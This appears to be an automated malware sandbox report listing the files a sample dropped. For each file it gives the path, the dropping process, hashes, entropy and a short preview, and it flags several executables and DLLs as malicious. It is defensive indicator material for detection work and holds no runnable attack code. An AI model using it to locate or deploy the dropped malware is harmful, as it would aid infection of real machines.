Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\_Files_\ONBQCLYSPU.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\_Files_\UMMBDNEQBN.xlsx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\_Files_\XZXHAVGRAG.docx

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0n0kxdye.exj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c2cdvbso.iiy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_faqa5sid.x1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hacltfzh.3t5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m4sv2bmu.qzt.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mggzngrg.kch.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mxxysqh0.g11.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmzbhjpe.hng.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7773627950641693
Encrypted:	false
SSDEEP:	3:LgVUiM:Ey
MD5:	1DCB8A8018CB6CDCAED1810AC87B0B97
SHA1:	98A2D101C039C26583027D2E280F30A8BF9296F1
SHA-256:	1F912B5D8456CE933F967044FA718C9B312548E6CE461054EECFF81A34CE6A1D
SHA-512:	77C829CC541A58E94BD1D4E5D1E7492AE7219E1085AF2E021BE29A767CD25042055A9EAF65A46F71C6A6FA0A54829A57A17BA615E280539657738179D3E8A893
Malicious:	false
Preview:	1714801656791

C:\Users\user\AppData\Local\Temp\u6po.0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	325632
Entropy (8bit):	6.7003892518717905
Encrypted:	false
SSDEEP:	3072:AkNSgvhj/pPlMy18blHV+pxuC0zPFgO3nOMiWAho4fOg1cUGwc6fAk15vBTFusKP:XL7Ha9V5g+mhqsGz6fL1VBpK0
MD5:	F2CE35E5AA2A7771759D7F424F2803AC
SHA1:	84EFB9F0C5194DBC9389A0D4D11941FCEA251F24
SHA-256:	FB1DABFF73054915AC62E6631D8ED79F64658AB3CC93AD990036F57056159C6F
SHA-512:	395D69AECED142DDDA5C83029926FA2E987D0EC2CBA7FA3C35B1F11DA2B94E915F4891088CF8839811E9B141D25B7ED85F2195C02B349E2FFC1D1EB942AB6FD1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L...d..d.....................z`......A....... ....@...........................a.....D..........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...(.]......j...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u6po.1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1674364
Entropy (8bit):	7.9964225732200545
Encrypted:	true
SSDEEP:	49152:F1aZFvOz9iTy8tR/z2zuVqD3hZ3t3MuIoDo:D8vu6y8b7+uQD3hZ3ZMuIos
MD5:	9BB67E904AC371B5FFD143F8FB54E1E2
SHA1:	58009E463133AF8B89B59716FE255B118ECA872C
SHA-256:	44AFBC66F029BE48DB5D01678A0AF7BAF541E4A61D4B07391AA0470F0A961DED
SHA-512:	573C196DC87A1D3EA22B3EBDD2BE1E4FBFBD3EA431694EC5E503F5CC6717B7D63A478C5C981BA5B467176AADD352C92F1D026B60A28B8FF76390AF6903C1CDC0
Malicious:	false
Preview:	PK........\..X@......`.......AsIO.dll.\k\|.W...M..0....lKh.`MYZI.m..$(...y.&i..v[)..@+..d.L....V..........7,.Q)..Z..TQo....B..sg7..o?.....s.=..s.=...U... .g...G.......%....?.(<;.+..K_.....<k....w}..V..O.\|x.g...s.j..[.=..o..22..$a.......C.S.Gm.l{.?...?.o.=.;\....;......rs[?okn....e.l;.C...S......n..y..?.......>AX:....;Sy=.....D....o...^.n"....q. .....8..UcC1Uv..#O....(.G..E..;..5h7..W..g.(....P~..\|Y.....q.\R...{N.SVmP..z.."..4...`.[.....A..........:..p`..(.........]..#.....-.}."....>T.c.E.a2.O_P.H...?.....!.w.....+...O.....=;.;*]a.4.\.h....w+..s.innt........+#.L.1....#...U.y.0...I........u....pT.mG.)...e5..m..F.nE}m.....H9uF.r........O.IZ..]Q......,.....#At[^......... .....m,.Ea.6d..4._.....?...~.a.......l!....v..@K.Q.z.Qa$\|/....H.9.6T.G..T........vT..o..;y.+..;x.:...R.e....(...n.h...<.=.\.KT....um..F..%."...Xp.G....&K.N.....w.B$..}...,{...$3.VC........K6.M...4.?+.s..\|..6j6.0.......Tj..:..,..}.4...&!..g!;9.o.3\.Rj..P...b..H7..\D#.

C:\Users\user\AppData\Local\Temp\u6po.2\ASUS_WMI.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	229848
Entropy (8bit):	6.573119657498872
Encrypted:	false
SSDEEP:	3072:Y4WuqFgPmBNRP8hXzGXPkW6ZZW8egH1/jQoAg0FubAxZ+051gh9b6q4TQWdO8g:Y9t2nhQ2ZW8ecAOAZCqQWY8g
MD5:	3F109A02C8D642E8003A1188DF40D861
SHA1:	F723F38471B8872443AA9177EEF12A96C02CC84A
SHA-256:	6523B44DA6FA7078C7795B7705498E487B0625E28E15AEC2D270C6E4A909B5A5
SHA-512:	023696A52D48C465AB62E3EE754B445093B8A0ED0A232B430CE1F0DB3DAE382C9E1FBA210C2B04D1018CC29BFB69C546976912F3939A76E98BCB792AE57AF0DA
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........;uh.;uh.;uh...7uh...uh...&uh...:uh..+k.-uh..+m..uh..+l..uh...:uh...2uh.;ui.Ruh.+a.3uh.+h.:uh.+..:uh.+j.:uh.Rich;uh.........PE..L....!BZ...........!.....0...D...............@.......................................;....@......................... 2.......6..d....................j..........."......p...............................@............@..l............................text...O........0.................. ..`.rdata.......@.......4..............@..@.data...`....@.......4..............@....gfids.......`.......@..............@..@.tls.........p.......B..............@....rsrc................D..............@..@.reloc...".......$...F..............@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u6po.2\ATKEX.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	86344
Entropy (8bit):	6.469613843075611
Encrypted:	false
SSDEEP:	1536:C3zQ0q8XqIh06v0UQpTcX+CZntb9lviEossWVcd+u8Nc15TCvOM:UqhIh06vKpTcX+El2+uKc15TCF
MD5:	E68562F63265E1A70881446B4B9DC455
SHA1:	DA16EF9367BDE3CE892B1A0E33BC179D8ACDCEB3
SHA-256:	C8B16F1C6883A23021DA37D9116A757F971FE919D64EF8F9DBA17A7D8DD39ADB
SHA-512:	6BEDEA10A5B50F6E93E8566C18970C8AD1B8DFC7D5961069FC5D5216DCDDED0B2A2AD8DD91F4AD80F8604D573A343C126DF238EE5C448CDC26B899077957A674
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............L...L...L..M...L..M$..L..M...L...M...L...M...L...M...L..M...L...L...L...M...L...M...L...L...L...M...LRich...L........................PE..L...^.Va...........!.........................................................p............@.........................p&.......&..(....P...............2..H....`..........p...............................@............................................text...\........................... ..`.rdata...\.......^..................@..@.data...D....0......................@....rsrc........P....... ..............@..@.reloc.......`......."..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u6po.2\AsIO.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	123744
Entropy (8bit):	6.614657805692098
Encrypted:	false
SSDEEP:	3072:3+CK0llptaTHfPwr5pm6Qi0YqvPZud7YvL:3xbllaborzQtEYT
MD5:	F383F6F4E764619BD19E319335D3EF2B
SHA1:	99F287E49A15E495B4EAD8E5589364A5F87B357E
SHA-256:	03951DFE05BF74C61568AED50B9D8CE5ECF0E0C2B8E73BC37E1A699AE7EEBC9D
SHA-512:	6FA960A084F42E6DE25B74782D205C48CA9329997FC2AE8DB902BB653DA5E878ED92CED6B37472248D5BDC820FC48080AE4FCE41556C4B20A049E30BF93D6934
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............d...d...d.......d......xd.......d.......d.......d.......d.......d...d...d..T....d..T....d..T....d...di..d..T....d..Rich.d..........................PE..L.....`...........!.....$...........*.......@.......................................Y....@.............................8...H...P.......p...............`%......d......p...........................`...@............@..T............................text....".......$.................. ..`.rdata...s...@...t...(..............@..@.data...............................@....rsrc...p...........................@..@.reloc..\...........................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\ULDq5mjQ4b5aNI3V4eIJfMVS.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Z0V3bHdPFsglc9f9uLbxOZFN.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\aYtr3HT3BUqjK6QB6WYpwCcm.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

